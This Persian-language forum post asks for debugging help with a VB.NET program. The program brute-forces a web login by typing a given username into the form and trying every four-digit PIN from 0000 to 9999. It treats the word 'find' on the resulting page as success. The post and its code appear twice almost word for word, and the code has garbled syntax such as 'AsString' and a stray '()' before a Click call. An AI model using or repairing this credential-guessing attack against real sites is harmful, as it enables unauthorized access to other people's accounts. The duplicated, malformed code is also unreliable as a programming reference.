asopause
سه شنبه 28 اردیبهشت 1389, 18:29 عصر
ُسلام خدمت دوستان و با عرض خسته نباشید بخاطر این سایت کامل و مفید که واقعه من را
در نوشتن خیلی قسمت های برنامه ام کمک کرد
دوتا سوال داشتم در مورد برنامه ای که در زیر کدشو گذاشتم
سوال اول: اینه که چرا برنامم بعد از کلیک روی دکمه باتن1 هنگ می کنه
سوال دوم: هم اینه که چرا وقتی برنامم داده هارو در فیلد های مورد نظرم می ریزه و روی دکمه کلیک می کنه و لوگین میشه با اینکه در صفحه بعدی کلمه ای در متن به نام find استفاده شده ولی برنامه اونو تشخیص نمیده کدم اشتباه است یا ایراد هنگ برنامه؟؟؟
Dim x AsString
Dim ia AsInteger
Dim ib AsInteger
Dim ic AsInteger
Dim id AsInteger
PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
(توجه:تمام فورها درون فور مقابل قرار گرفته است) ia
For ia = 0 To 9
For ib = 0 To 9
For ic = 0 To 9
For id = 0 To 9
x = ia & ib & ic & id
WebBrowser1.Document.DomDocument.All.Item("name").value = T1.Text
DoWhile WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
Loop
WebBrowser1.Document.DomDocument.All.Item("password").value = x
()WebBrowser1.Document.DomDocument.All.Item("s1").Click
If InStr(1, UCase(WebBrowser1.Document.Body.InnerText), UCase("find")) > 0 Then
MsgBox(x)
EndIf
Next id
Next ic
Next ib
Next ia
EndSub
واقعا از سایت خوبتون ممنون
در نوشتن خیلی قسمت های برنامه ام کمک کرد
دوتا سوال داشتم در مورد برنامه ای که در زیر کدشو گذاشتم
سوال اول: اینه که چرا برنامم بعد از کلیک روی دکمه باتن1 هنگ می کنه
سوال دوم: هم اینه که چرا وقتی برنامم داده هارو در فیلد های مورد نظرم می ریزه و روی دکمه کلیک می کنه و لوگین میشه با اینکه در صفحه بعدی کلمه ای در متن به نام find استفاده شده ولی برنامه اونو تشخیص نمیده کدم اشتباه است یا ایراد هنگ برنامه؟؟؟
Dim x AsString
Dim ia AsInteger
Dim ib AsInteger
Dim ic AsInteger
Dim id AsInteger
PrivateSub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
(توجه:تمام فورها درون فور مقابل قرار گرفته است) ia
For ia = 0 To 9
For ib = 0 To 9
For ic = 0 To 9
For id = 0 To 9
x = ia & ib & ic & id
WebBrowser1.Document.DomDocument.All.Item("name").value = T1.Text
DoWhile WebBrowser1.ReadyState <> WebBrowserReadyState.Complete
Loop
WebBrowser1.Document.DomDocument.All.Item("password").value = x
()WebBrowser1.Document.DomDocument.All.Item("s1").Click
If InStr(1, UCase(WebBrowser1.Document.Body.InnerText), UCase("find")) > 0 Then
MsgBox(x)
EndIf
Next id
Next ic
Next ib
Next ia
EndSub
واقعا از سایت خوبتون ممنون